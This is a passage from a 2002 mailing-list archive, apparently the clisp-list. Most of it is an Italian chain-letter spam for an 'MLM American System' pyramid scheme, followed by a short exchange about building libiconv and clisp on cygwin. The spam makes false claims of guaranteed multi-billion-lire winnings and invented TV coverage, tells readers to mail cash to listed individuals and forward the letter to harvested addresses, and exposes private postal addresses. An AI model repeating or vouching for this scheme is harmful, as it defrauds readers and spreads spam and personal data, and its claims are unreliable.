sull'appartamento!!! Oppure potresti prenderti un paio di mesi di vacanza o crociera in uno di quei posti esotici dei quali hai sempre sognato, poi ritornato a casa decidere cosa fare con più di un miliardo ancora a tua disposizione!!! Alle volte la realtà può sembrare un sogno ma come sai CON I SOGNI NON SI RISOLVE NULLA!!! Questa è PURA Realtà e succederà anche a te nelle prossime 6 settimane, grazie all'incredibile sistema MLM americano!!! 6 SOLE SETTIMANE: questo è quanto ci vuole per accumulare un minimo di $750.000 DOLLARI AMERICANI, PARI A UN MILIARDO E MEZZO DI LIRE ITALIANE, ED ENTRARE NEL CLUB DEI NUOVI MILIARDARI DEL QUALE HAI SENTITO PARLARE ULTIMAMENTE ALLA TV!!! Hai perso I servizi speciali in onda su RAITRE, Canale 5 e altre emittenti televisive locali riguardo questo incredibile sistema americano??? Non importa, perché questa è la famosa e-mail della quale tutti parlano sulle reti televisive di tutto il mondo, non solo italiane. Dovuto alla ormai crescente popolarità di questa e-mail su Internet, alcune emittenti televisive italiane hanno dedicato ultimamente degli speciali sul come è possibile guadagnare 1,5 - 2 miliardi di lire in 6 settimane, e per di più garantito. "Come è possibile garantire una vincita del genere, insomma, qui si parla di un sacco di quattrini!!!", è stato il commento di quasi tutti i conduttori dei vari programmi TV e articoli pubblicati. Già, come è possibile ASSICURARE che qualcuno vinca davvero??? Il risultato è stato più che sorprendente, perfino per i conduttori, che hanno espresso il loro desiderio di partecipare subito!!! In tutti gli speciali, non solo si è evidenziato e provato che il sistema funziona davvero e assicura la vincita a CHIUNQUE PARTECIPA, ma è stato anche provato che non ci sono leggi in vigore (in Italia) che impediscono la partecipazione al programma. Creato negli USA qualche anno fa, e dopo aver generato non si sa quanti nuovi miliardari in tutto il mondo, e ricevuto l'attenzione di emittenti televisive e telegiornali in numerosi paesi del mondo, è finalmente approdato anche in Italia, grazie alla cortese collaborazione di un italiano residente negli USA, che ha finalmente deciso di tradurre questa e-mail in italiano, ed estendere l'opportunità di diventare miliardari anche a tutti gli italiani che desiderano partecipare!!! Quante volte hai tentato la fortuna al Totocalcio??? Totogol??? Enalotto, lotterie??? Hai fatto fortuna??? NO??? E probabilmente il tutto ti è costato una gran bella cifra!!! Non preoccuparti: finalmente è arrivato il tuo momento, si, quello di vincere sul serio, garantito oltre il 200%, perché è stato provato che nessuno può perdere, nessuno!!! Non si può perdere per il semplice motivo che ci sono migliaia di nuovi giocatori ogni giorno che vogliono partecipare, e aspettano che i fortunati che sono in possesso di questa e-mail (quale sei tu ad esempio), la spediscano anche a loro. Hai seguito ultimamente gli speciali in onda su RaiTre, Canale 5 e altre emittenti televisive locali riguardo il Super Sistema MLM americano??? In questa e-mail ti sveliamo il segreto di come diventare miliardari in sole 6 settimane, grazie ad un sistema incredibile, all'abbondanza di accaniti giocatori americani e soprattutto grazie ai miliardi di dollari americani!!! Se credi che questo sia uno dei tanti scherzi che si ricevono via e-mail, ti chiedo solo un paio di minuti del tuo tempo invitandoti a leggere questa lettera: e ti prometto che quando l'avrai terminata la tua vita sarà già cambiata!!! Questa è la testimonianza di Claudio Tommasi, l'italiano che ha finalmente deciso di tradurre la più famosa e-mail oggi in circolazione: "Chi ti scrive è un italiano, Claudio Tommasi, nato e cresciuto a S. Michele all'Adige, una cittadina alle porte di Trento, nel nord Italia. Mi sono sposato e trasferito negli Stati Uniti nel 1994, dopo un corso estivo al Campus dell'Università del nord Colorado, e tuttora vivo con mia moglie e i miei 2 figli in una bellissima cittadina chiamata Fort Collins, sempre nel nord Colorado. La ragione per cui ti scrivo è perché ormai da 5 mesi la mia vita e quella della mia famiglia è totalmente cambiata. Perché??? Ho vinto la bellezza di $ 712.455 dollari, equivalenti a 1.426.862.000 lire italiane, senza fare assolutamente nulla!!! Quello che è successo a me succederà a tutti quelli che decideranno di partecipare all'ormai famoso "MLM American System": E' GARANTITO!!! Perché è l'unico sistema al mondo col quale non si può perdere, è impossibile!!!". La sua testimonianza continua. "Se non hai seguito i programmi TV che spiegavano nei dettagli come si può vincere in 6 settimane una cifra che si aggira fra 1,5 e 2 miliardi di lire, non ha importanza perché avrai bisogno di questa e-mail per partecipare. Senza questa e-mail non potrai entrare nel sistema, semplicemente perché hai bisogno di inserire i tuoi dati, affinché le persone possano spedirti i soldi direttamente a casa tua, come è successo a me. Questa è la mia storia: cinque mesi fa ricevetti una e-mail come questa, in inglese ovviamente, sembrava una di quelle tante che noi chiamiamo "junk" mail (catene). Era probabilmente la 5-6 volta che ne ricevevo una simile. Quel giorno (per mia fortuna) decisi di leggerla e cercare di capire come funzionasse quel sistema. In vita mia non ho mai creduto nei "soldi facili", forse perché dopo tutti gli anni e i soldi spesi all'università in Italia, giocando mega-sistemi al Totocalcio, Totogol, Enalotto, ecc., non ho mai vinto neanche 1000 lire!!! Dopo aver letto quella e-mail, e facendo un po' di calcoli, pensai che il sistema aveva un grande potenziale, e che poteva decisamente funzionare. Decisi così di provare, senza dire niente a mia moglie. Feci quello che diceva il sistema: inserii il mio nome e dati nella e-mail, spedii le 5 lettere alle persone presenti sulla lista, ognuna contenente le mie informazioni per partecipare e una banconota da $5 dollari. Pensai: "In fondo, avrei speso la stessa cifra se stasera avessi portato la mia famiglia al cinema, o se avessi comprato 2 biglietti della lotteria, dove la percentuale di vincita è di 1 su 25 milioni!!!". Dopo neanche 10 giorni cominciai a ricevere "tonnellate" di lettere di persone che mi richiedevano i 5 report che avevo precedentemente acquistato per $25 dollari: mia moglie mi chiese cosa stava succedendo. Aprii le lettere una ad una e cominciai a contare i soldi. Non potevo crederlo: quello che diceva il sistema era vero, ero entrato nel vortice di un giro di giocatori americani incalliti!!! La stessa settimana ci fu uno dei tanti speciali su uno dei telegiornali nazionali, e parlava di tutti questi nuovi miliardari che avevano fatto fortuna grazie ad Internet (e-mail) e ad un sistema multilivello semplice ma efficacissimo: e io ero uno di loro!!! Dopo qualche mese, decisi che avrei tentato di nuovo (poiché il sistema è senza fine e si basa anche sul fatto che quasi ogni vincitore rientra nel giro). Ma con l'andare del tempo pensai a tutti gli amici che avevo lasciato in Italia, compreso la mia famiglia, e il fatto che non avrebbero mai potuto avere la possibilità di partecipare e vincere come avevo fatto io, in quanto non conoscevano la lingua inglese (lingua ufficiale del sistema). Così decisi di tradurre quella e-mail e di farla circolare in Italia. Ecco perché caro amico/a ti ho scritto, affinché tutti possano avere la stessa opportunità che ho avuto io e migliaia di giocatori in tutto il mondo, di far avverare i loro sogni e finalmente vincere oltre un miliardo di lire. Se credi di aver bisogno di questo denaro questa è l'opportunità della tua vita. Se invece di denaro ne hai anche troppo, per favore invia questa preziosa e-mail a tutti coloro che la stanno ansiosamente aspettando, e che sono meno fortunati di te, poiché io non ho né il tempo né gli indirizzi e-mail di tutti quegli italiani che sono nel bisogno. Non essere egoista, dai la possibilità a qualcuno di toccare finalmente il cielo con un dito. Quello che farai per loro, un giorno sarà fatto a te, credimi. Buona fortuna e in bocca al lupo!!! Un caro saluto dagli Stati Uniti. Ciao, Claudio Tommasi." Grazie ad Internet e ad un programma imbattibile che ha già colto l'attenzione di alcune reti televisive italiane e straniere (oltre ai migliaia di servizi dedicati dalle televisioni americane) sveliamo il segreto di come è possibile continuare a vincere la somma di 1,5 - 2 miliardi di lire ogni 6 settimane (UN MINIMO DI 13 MILIARDI ALL'ANNO!!!). Ecco come funziona. I partecipanti provengono da tutto il mondo, Australia, Canada, Inghilterra, Germania, Nuova Zelanda ( Paesi che in genere sono di madrelingua inglese, o lo parlano come seconda lingua), ma il 92% di essi sono agguerriti americani che solo nel secondo semestre del 2001 ha contato + di 928.000 fortunati soltanto ne gli USA. La ragione di questo successo è semplice: con il solo investimento di $ 25 si entra in un giro mondiale , inviando e-mail gratuitamente a tutti quelli che vogliono partecipare e che sono in trepida attesa di farlo. Si, perché la chiave è proprio ricevere questa e-mail (che è stata finalmente tradotta da un gentile italiano residente negli USA per il beneficio di tutti i giocatori). Se non si riceve la e-mail non si accede al sistema e si è tagliati fuori. Sei probabilmente uno dei primi italiani a ricevere questa e-mail, visto che è stata tradotta soltanto un mese fa. Ci sono milioni di persone in tutta Italia e in tutto il mondo che sono ansiosi di ricevere questa e-mail da te. Una volta che inserisci il tuo nome indirizzo e indirizzo e-mail è fatta, sei nel sistema e ci resterai fino a quando deciderai che ne hai abbastanza di tutti quei soldi!!! I partecipanti al giorno d'oggi sono stimati attorno ai 25 milioni, e crescono di giorno in giorno. Poiché bisogna aspettare il proprio turno prima di rientrare in un nuovo giro ( dalle 5 alla 1 posizione) chi esce (con un guadagno stimato in media tra 1,5 e 2 miliardi di lire) rientra di nuovo rispondendo ad un'altra e-mail che ha ricevuto nel frattempo. Il risultato: un sistema che non ha mai fine, tenuto in piedi dai soliti giocatori e in più da tutti quelli che si uniscono ogni giorno, incrementando il massiccio scambio di denaro. Un giro di centinaia di miliardi al giorno, spediti in piccole banconote da $ 5 ciascuna. Un programma che, GRAZIE AD INTERNET, non ha mai fine, poiché i partecipanti entrano ed escono continuamente (non contando i nuovi partecipanti che si uniscono ogni giorno) investendo ogni volta la piccola somma di 25$, e intascando i miliardi spettanti ad ogni giro!!! Ovviamente si può uscire quando si vuole, non c'è nessun obbligo, ma perché uscire quando si è parte di un club di miliardari??? Gli USA stimano che almeno 927.900 di quei 928.000 nuovi miliardari sono già rientrati, centuplicando il numero di miliardari nei prossimi 6 mesi!!! La differenza tra i vecchi sistemi multilivello e questo è molto semplice: 1: L'investimento è decisamente minimo, chiunque può permetterselo, giovane o vecchio, studente o impiegato, disoccupato o meno. Per iniziare si può anche partecipare in gruppi, se si vuole. 2: Nessuna perdita di tempo nel convincere qualcuno a partecipare, poiché grazie alle recenti trasmissioni televisive ci sono milioni di italiani pronti a giocare, e aspettano di ricevere questa e-mail da te 3: La vincita è rapida: 6 sole settimane per una somma minima che si aggira fra i 1,5 e 2 MILIARDI di lire!!! Un record, nessun sistema è mai stato tanto veloce quanto MLM American System!!! 4: Non c'è nessuna organizzazione dietro questo semplice ma efficace sistema. I soli giocatori tengono in piedi l'intero sistema (da oro "battezzato" MLM American System = sistema multilivello americano e attualmente dopo essere stato tradotto per l'Italia e integrato con opportune modifiche e miglioramenti MLM Italian System), che funziona alla perfezione da 2 anni a questa parte. Non c'è nessuna percentuale da pagare. I soldi vengono scambiati e spediti direttamente alle case dei singoli giocatori. Tutti gli altri sistemi esistenti hanno una sede fissa, si appropriano di una grossa percentuale dei soldi, li maneggiano, e poi decidono chi deve vincere, per cui nessuna vincita può essere assicurata. 5: MLM è l'unico sistema esistente al mondo che ti permette una vincita multipla: si vince ogni 6 settimane, fino a quando si decide di ritirarsi perché se ne ha abbastanza di tutto quel denaro. 6: L'opportunità di ricevere informazioni gratis per incrementare e gestire le proprie vincite. Se decidete di partecipare, riceverete i "5 reports" dai membri della vostra lista, che contengono informazioni utilissime come scaricare GRATIS da Internet software elaborati e costosi (valore di mercato 1.000.000 di lire completamente GRATIS!!!) per gestire ricercare, scaricare e spedire e-mail a più di 10.000.000 di indirizzi (Avalanche, NetTron, DirectMail, ecc.), più tante altre utilissime informazioni sul come incrementare le vincite con il sistema, completamente GRATIS!!! Questo è il segreto di MLM American System: la vincita è 200% assicurata!!! Non si può perdere, è impossibile!!! Come spiegato sullo speciale di RaiTre, il sistema funziona ogni giorno per milioni di giocatori, non c'è dubbio. Chi si inserisce ha la certezza matematica di ricevere ALMENO 1,5 - 2 MILIARDI DI LIRE NEL GIRO DI 6 SETTIMANE, perché riceverai i soldi da coloro che hanno già vinto ma desiderano rientrare e raddoppiare, triplicare, ecc. la loro vincita (NON CONTANDO SULL'INGRESSO DI NUOVI PARTECIPANTI OGNI GIORNO). Il conduttore della trasmissione di RaiTre: "seriamente, non ho mai visto niente del genere fino ad oggi!!!" MLM American System è stato definito il "GENERATORE DI BENESSERE DEL XXI SECOLO!!!". E tu? Sei pronto ad unirti al club dei miliardari??? Il principio è quasi simile a quello utopico del "Se ognuno dei 5 miliardi di persone oggi esistente sulla terra spedisse un dollaro a tutti gli altri vivremmo in un mondo di miliardari". Il fatto è che non si può costringere qualcuno a versare dei soldi ad un altro individuo. Ecco che il concetto di MLM entra in gioco: ci vuole un club di giocatori intenzionati a scambiarsi ogni 6 settimane 5 dollari a testa, collezionando 1,5 - 2 miliardi a turno. Questo è il semplice segreto di un sistema che non ha eguali in tutto il mondo: MLM American System. Non c'è nessuna organizzazione dietro MLM che trattiene percentuali come altri sistemi dove il solo che colleziona il denaro è l'ente che giostra il tutto. MLM è un club di oneste persone comuni COME TE che hanno tutto l'interesse di tenere in piedi un sistema che genera benessere per . I soldi contenuti nelle lettere vengono spediti direttamente alle case dei partecipanti e non raccolti da " anonimi enti" come in altri sistemi., Come su questa e-mail che sarà la tua lista se decidi di partecipare ci sono i nominativi di 5 persone comuni come te, provenienti da tutto il mondo. LE SEGUENTI SONO ISTRUZIONI FONDAMENTALI DI CUI HAI BISOGNO: POICHE' IL CONTENUTO DI QUESTA E-MAIL è TROPPO PREZIOSO SE NON LO HAI ANCORA FATTO, STAMPA UNA COPIA DI QUESTA E-MAIL ADESSO E SALVALA SU UN CD O FLOPPY DISK, NEL QUALCASO TU ABBIA PROBLEMI CON IL TUO COMPUTER. = = = = COME ORDINARE I 5 "REPORTS" DALLA LISTA CHE SEGUE = = = = Che cos'è un report??? Un report non è altro che una serie di informazioni utilissime su come scaricare assolutamente gratis costosi software da Internet (che potranno risultare di grande aiuto nella gestione e spedizione ad alta velocità di e-mail) gestire patrimoni ecc., accuratamente tradotti in italiano. Per ogni report spedisci 5 euro se sei in Europa se no 5 dollari americani dal più vicino ufficio postale o dalla tua banca. Ci sono stati giocatori che, per ragioni sconosciute hanno spedito i contanti nella valuta del loro paese. Nel caso tu debba spedire a giocatori stranieri è consigliabile utilizzare il dollaro americano perché è stato scelto e adottato sin dall'inizio del sistema, ed ha funzionato alla perfezione per ormai 2 anni, non possiamo garantire il fatto che, se spedirai banconote in diverse valute, saranno accettate. I giocatori del sistema, specialmente stranieri che si aspettano di ricevere dollari americani, non accetteranno altre valute, perché non conoscono il cambio corrente, e probabilmente rispediranno indietro le lettere. Per qualsiasi ragione, non spedire MAI moneta, solo banconote, altrimenti dovrai pagare una tariffa postale maggiore dovuta al peso. Per evitare che i soldi spediti vengano intercettati e rubati da 2 anni a questa parte, si è adottato il sistema di "incartare" la banconota in 2 fogli di carta formato A4 piegati in 3 come si piegherebbe una semplice lettera da infilare in una busta normale da lettera. = = IMPORTANTE = = Su uno dei 2 fogli, scrivi in stampatello (meglio se stampato al computer) a caratteri chiari e leggibili, il nome e il numero dei report che stai ordinando, il tuo indirizzo e-mail, e il tuo nome e indirizzo postale. Quindi: per ogni report spedisci una banconota del valore di cinque EURO o dollari incartata fra 2 fogli di carta formato A4, il nome e numero di report richiesto, il tuo indirizzo e-mail, il tuo nome e indirizzo postale. Se non vuoi far apparire il tuo nome e indirizzo sulla lista (anonimato), puoi usare una casella postale come indirizzo, e il nome di una compagnia al posto del tuo nome e cognome (ad esempio: XYZ Servizi, Casella Postale 12345, Roma, Italy). Ricorda di scrivere il tuo indirizzo (mittente) sulla busta, nel caso in cui ci siano difficoltà postali. Quando ordini i report, devi ordinare tutti i 5 report, perché hai bisogno di "consegnarli tramite e-mail alle persone che li richiederanno da te, pagandoti 5 EURO/Dollari per ognuno di essi (anche se sono già in possesso di essi, nel caso di giocatori che rientrano, il sistema richiede il pagamento di 5 EURO/Dollari in cambio di qualcosa). Quando ricevi i 5 report in 5 differenti e-mail, salva ogni report su un floppy disk o CD, affinchè niente vada perso. Se li perdi, non puoi continuare nel sistema, poiché non hai niente da "consegnare" agli altri giocatori. Il costo totale del tuo investimento è: 5 x 5 Euro/Dollari = 25 Euro o dollari, una sciocchezza paragonata a quello che riceverai !!! Nel giro di pochi giorni riceverai, come detto, le 5 e-mail con i 5 differenti report in italianmo. Mentre stai aspettando i 5 report (numero 1, 2, 3, 4 e 5), prendi questa e-mail, che hai precedentemente salvato nel tuo computer, e fai quanto segue: 1. rimuovi il nome e l'indirizzo della persona accanto al report numero 5. Questa persona ha finito il suo turno e starà contando i suoi 1,5 - 22 miliardi di lire; 2. rimuovi il nome e l'indirizzo della persona accanto al report numero 4 e spostala (con copia/taglia e incolla) al numero 5; 3. rimuovi il nome e l'indirizzo della persona accanto al report numero 3 e spostala (con copia/taglia e incolla) al numero 4; 4. rimuovi il nome e l'indirizzo della persona accanto al report numero 2 e spostala (con copia/taglia e incolla) al numero 3; 5. rimuovi il nome e l'indirizzo della persona accanto al report numero 1 e spostala (con copia/taglia e incolla) al numero 2; 6. inserisci il tuo nome e indirizzo accanto al report numero 1. Fatto, ora sei ufficialmente nel sistema. Fai attenzione nel ricopiare tutti gli indirizzi: controlla sempre che tutti i nomi e gli indirizzi siano scritti in maniera corretta (specialmente nel caso di giocatori stranieri). Dopo ciò, salva la nuova e-mail nel tuo computer, e fai anche una copia e salvala su un floppy disk o CD. NON FARE ASSOLUTAMENTE ALTRE MODIFICHE. Il prossimo passo è quello di spedire e-mail a tutte le persone che le stanno ansiosamente aspettando. Dopo le trasmissioni televisive, la popolarità di questo sistema è ormai alle stelle, quindi non preoccuparti di spiegare il sistema ad amici e conoscenti. Quello che devi fare è spedire questa e-mail, cominciando dalla lista di amici presente nel tuo Microsoft Outlook Express, o software simile, dove tieni la lista di indirizzi e-mail dei tuoi amici. Tu puoi spedire quante e-mail vuoi: il minimo è 5. 1. Ok, ora vediamo come funziona. Supponiamo che spedisci 20 e-mail a 20 persone. Pur essendo tutti in attesa di questa e-mail, soltanto 10 di loro trovano il tempo di ordinare il report numero 1 da te. 2. Quelle 10 persone spediscono a loro volta 20 e-mail a testa, per un totale di 200 e-mail. Di nuovo, pur essendo tutti in attesa di ricevere questa e-mail ed intascare i loro miliardi, soltanto la metà di loro, 100 persone, ha il tempo di ordinare il report numero 2. 3. Quelle 100 persone spediscono a loro volta 20 e-mail a testa, per un totale di 2000 e-mail. Stessa storia, solo 1000 di loro trova il tempo di ordinare il report numero 3. 4. Quelle 1000 persone spediscono a loro volta 20 e-mail a testa, per un totale di 20.000 e-mail. Solo 10.000 di loro ordina il report numero 4. 5. Quelle 10.000 persone spediscono 20 e-mail ciascuno, per un totale di 200.000 e-mail. Solo metà di loro ordina il report numero5. Ora un po' di matematica. Il totale della vincita in questo caso, dove non si ha il pieno potenziale di giocatori, poiché si presume che soltanto la metà della metà della metà, ecc. partecipi (in euro o in dollari), è il seguente:: Per il report numero 1: 10 richieste = 10 x 5 dollari = 50 dollari = 100.000 lire Per il report numero 2: 100 richieste = 100 x 5 dollari = 500 dollari = 1.000.000 di lire Per il report numero 3: 1000 richieste = 1000 x 5 dollari = 5000 dollari = 10.000.000 di lire Per il report numero 4: 10.000 richieste = 10.000 x 5 dollari = 50.000 dollari = 100.000.000 di lire Per il report numero 5: 100.000 richieste = 100.000 x 5 dollari = 500.000 dollari = 1.000.000.000 di lire Totale: 50+ 500+ 5000+ 50.000+ 500.000 = 555.550 dollari = 1.111.100.000 lire !!!!!!! Questo è il minimo che ognuno vincerà poiché è stato ormai sperimentato e testato negli anni scorsi: ma se ognuno spedisce più di 20 e-mail, e così gli altri partecipanti, la vincita avrà proporzioni stratosferiche che nemmeno potete immaginarvi, ma è possibile allo stesso tempo, senza dubbio, succede tuttora E SPESSO di avere vincite da 12 zeri !!! Questo dipende da te, se hai il tempo e la voglia di spedire e-mail a persone che conosci, o se trovi indirizzi e-mail su vari siti Web gratuiti: non farai altro che incrementare il valore della tua vincita. Quando parliamo di una vincita di 1,5 - 2 miliardi di lire ogni 6 settimane, ci riferiamo ad una vincita media ( dati forniti dalle varie trasmissioni televisive che hanno fatto ricerche fra i numerosi partecipanti e redatto delle statistiche) fra tutti i giocatori partecipanti. La media di e-mail spedite è di 5.4 a persona. Ecco perché possiamo parlare di una vincita "facile", poiché l'unica cosa da fare è aprire la propria agenda di indirizzi e-mail di amici e conoscenti, e spedire le e-mail con il proprio nome vicino al report numero 1. Se ci pensate, è proprio un gioco da ragazzi!!! Ma se volete ambire ad una vincita incredibile (centinaia di miliardi) avete la possibilità di farlo, e dipende tutto da voi. Vi sono giocatori nel sistema che arrivano a spedire anche 1 milione di e-mail nel giro di un paio di settimane: vi lascio pensare qual è l'entità della loro vincita!!! Come hai letto nella testimonianza di Claudio Tommasi, l'italiano che ha avuto la cortesia di tradurre questa famosa e-mail in italiano, stiamo cercando di far rimanere questa e-mail in Italia. Dopo la messa in onda dei programmi TV che parlavano del sistema, migliaia di italiani hanno telefonato alle sedi delle reti televisive, chi chiedendo disperatamente l'indirizzo dell'italiano residente in Colorado, chi dando i propri dati, chi implorando affinché scrivessero subito una e-mail anche a loro. Il problema, come è già stato spiegato nelle varie trasmissioni , è che nessuno può partecipare, a meno che riceva questa e-mail. Tu sei stato selezionato da un "search-engine" situato negli USA, che ha provveduto a fornire 1000 indirizzi e-mail italiani a colui che ti ha spedito questa e-mail, affinché il tutto potesse avere inizio. Quindi considera la tua posizione: se cancelli questa e-mail toglierai una grande opportunità a coloro che stanno aspettando che tu gli spedisca questa e-mail. Anche se non intendi partecipare, spedisci questa e-mail ad almeno 10 persone. E se intendi partecipare, ti chiediamo cortesemente di farla circolare in Italia, affinché si crei un ciclo di giocatori italiani che entrano ed escono, scambiandosi 1,5 - 2 miliardi a turno ogni 6 settimane, come in altri paesi. Aiutaci in questo tentativo di creare un "ramo" MLM completamente italiano. Ci è stato reso noto che la scorsa settimana alcuni giocatori italiani hanno rispedito la e-mail ad amici residenti negli USA, tagliando fuori milioni di giocatori italiani in attesa. Ti chiediamo pertanto di evitare che questa e-mail vada persa. Confidiamo nel tuo impegno, e per questo ti ringraziamo in anticipo. Noi siamo due studenti, A&W (che vogliono mantenere l'anonimato), della facoltà di ingegneria di Povo, Trento, amici d'infanzia di Claudio Tommasi e grandi stimatori di questo grande sistema che sta già funzionando alla grande per noi. Ti auguriamo un in bocca al lupo e buon divertimento come nuovo miliardario!!! ENTRA OGGI STESSO NEL SISTEMA, CORRI SUBITO A PREPARARE LE 5 BUSTE E BUON GUADAGNO!!! = = = = = = = = = = LA TUA LISTA DEI REPORTS IN ITALIANO = = = = = = = = = ORDINA ADESSO UNA COPIA PER OGNI REPORT: REPORT NUMERO 1 : "Il nuovo, gratuito e-mail software AGM - Completo" Ordina il report numero 1 da: Fermo Posta Via M.Angeloni Perugia 06100 CI AC6191446 ____________________________________________________________________ REPORT NUMERO 2 : "Il completo setup di un nuovo, veloce e gratuito Internet Provider" Italiano Ordina il report numero 2 da: Daniele Paiano Via Virgilio, 13 72021 Francavilla Fontana (BR) Italia ______________________________________________________________________ REPORT NUMERO 3 : "Che cos'è una circolare viaggiante - Teoria, prassi, necessità della Comunicazione Orizzontale" innovativo contributo di Alessandro D'Agostini su come diffondere in modo efficace informazioni libere con la "MLM comunication" Italiano Ordina il report numero 3 da: Lorenzo Marcon strada santa lucia 6/d-5 06125 perugia ______________________________________________________________________ REPORT NUMERO 4 : "E-mail Adress Extract" Ordina il report numero 4 da: Giacomo Galilei Via XX Settembre 49 06124 Perugia ______________________________________________________________________ REPORT NUMERO 5: "Guida pratica al successo con Multilevel Italian System & Manuale in Italiano su come usare al meglio il nuovo, gratuito e-mail software AGM e E-mail Adress Extract" Ordina il report numero 5 da: Nicola Loglisci Via Pisa, 47 70024 Gravina In Puglia (BA) Italia ______________________________________________________________________ $$$$$$$$$$$$$ ISTRUZIONI UTILI PER IL TUO SUCCESSO $$$$$$$$$$$$$$$$$ Appena ricevi questa e-mail, se intendi partecipare, segui le istruzioni relative all'inserimento del tuo nome, che abbiamo spiegato alcuni paragrafi più sopra. Comincia a fare un elenco delle persone alle quali intendi spedire questa e-mail. Fatto ciò comincia pure a spedirle, mentre aspetti di ricevere i 5 report. Questo ti da il vantaggio nei confronti di tutti quelli che ti richiederanno i 5 report (e saranno molti!!!). Una volta che ricevi 10 richieste per il report numero 1, riceverai matematicamente almeno 100 richieste per il report numero 2. Dopo quello hai la scelta di rilassarti e tornare a fare quello che facevi prima, poiché sei entrato nel "vortice" del sistema. Oppure, come spiegato poco sopra, puoi continuare a spedire e-mail a tutti quelli che te lo richiederanno, incrementando notevolmente la tua vincita finale. Dipende solo da quanto denaro hai bisogno!!! Puoi renderti conto di quanti soldi stai accumulando dal numero di richieste che ti perverranno. Una volta uscito dal sistema, e con 1.5 - 2 miliardi in tasca (minimo), dovrai decidere se rientrare o meno. E' abbastanza facile presupporre che starai ponderando questa alternativa sdraiato su una di quelle lunghissime spiagge bianche, su di un'isola remota (è abbastanza comune tra tutti i giocatori, non ti preoccupare!!!). Ma vogliamo ricordarti che il sistema non ha mai fine sarà sempre disponibile se deciderai di rientrare a patto che qualcun altro ti scriva. Ricorda, senza e-mail non accedi al sistema. Anche se hai già vinto una volta e hai "comprato" i 5 report, questo non ti da il diritto di scavalcare gli altri giocatori. Devi ricevere una e-mail da uno dei giocatori, e ripetere tutti i passi, uno per uno, dall'inizio. Questa è l'unica regola imposta dal sistema, per il beneficio di tutti i giocatori onesti. Se hai già vinto una volta è anche merito della loro onestà. Un in bocca al lupo e buona vincita miliardaria a tutti Nota originale dell'autore, ovvero colui che ha inventato il sistema più incredibile del mondo: "Se avete qualsiasi perplessità riguardo la legalità di questo sistema, si prega di contattare: the Office of Associate Director for Marketing Practices, Federal Trade Commission, Bureau of Consumer Protection, Washington, District of Columbia, U.S.A.". From ampy@ich.dvo.ru Sat Dec 07 16:15:39 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru ident=[usBFxKZLNBFD5rQTpI5dBmUS3dkRJfeW]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Kp6b-0007oT-00 for ; Sat, 07 Dec 2002 16:15:34 -0800 Received: from ppp187-AS-3.vtc.ru (ppp187-AS-3.vtc.ru [212.16.216.187]) by vtc.ru (8.12.6/8.12.6) with ESMTP id gB80F3Jh007951; Sun, 8 Dec 2002 10:15:05 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1421606339.20021208101646@ich.dvo.ru> To: Alex Tibbles CC: clisp-list@lists.sourceforge.net Subject: Re[7]: [clisp-list] iconv(3) In-reply-To: <20021207180026.57400.qmail@web12605.mail.yahoo.com> References: <20021207180026.57400.qmail@web12605.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 7 16:16:02 2002 X-Original-Date: Sun, 8 Dec 2002 10:16:46 +1000 Hello Alex, Sunday, December 08, 2002, 4:00:26 AM, you wrote: >> I just managed to rebuild libiconv (just learned to >> use patched >> sources from cygwin) and problem has gone. Also I >> had to build >> and install libsigsegv from its CVS - clisp didn't >> get build >> without it. > which libiconv sources are you using? i tried the > source installed by cygwin's setup program and had no > luck. Did you use patch included ? I used libiconv-1.8-2.sh script with commands at its end - prep, mkdirs, conf etc. bash hung up with it so I used '/bin/sh ./libiconv-1.8-2.sh prep' for example. -- Best regards, Arseny From alex_tibbles@yahoo.co.uk Sun Dec 08 11:41:30 2002 Received: from web12602.mail.yahoo.com ([216.136.173.225]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18L7Iv-0007qV-00 for ; Sun, 08 Dec 2002 11:41:29 -0800 Message-ID: <20021208194129.37741.qmail@web12602.mail.yahoo.com> Received: from [213.208.105.19] by web12602.mail.yahoo.com via HTTP; Sun, 08 Dec 2002 19:41:29 GMT From: =?iso-8859-1?q?Alex=20Tibbles?= Subject: Re: Re[7]: [clisp-list] iconv(3) To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net In-Reply-To: <1421606339.20021208101646@ich.dvo.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 8 11:42:02 2002 X-Original-Date: Sun, 8 Dec 2002 19:41:29 +0000 (GMT) > > which libiconv sources are you using? i tried the > > source installed by cygwin's setup program and had > no > > luck. > Did you use patch included ? I used > libiconv-1.8-2.sh > script with commands at its end - prep, mkdirs, conf > etc. bash > hung up with it so I used '/bin/sh > ./libiconv-1.8-2.sh prep' for > example. the first time i got the source package i didnt see the patch and script - dont know how i missed it! the second time, i couldnt figure out how to use the shell script so simply applied the patch. 'patch -p0 '. then i built and installed libiconv without hitch (well nearly - i got my prefix wrong). i then got the fresh source for clisp, configured it, and make'ed it. it failed the first time, but i had left it unattended so i dont know at which point, so i tried make again and it succeeded! i ran the tests ('make test' and 'make testsuite') and one of the testsuite segfaulted. im going to start afresh and get a more consistent set of results (the segfault appears at a variable point) and try to replicate my earlier build problem. thanks very much for your pointers! alex __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com From sds@gnu.org Mon Dec 09 10:41:32 2002 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18LSqR-0002Rq-00 for ; Mon, 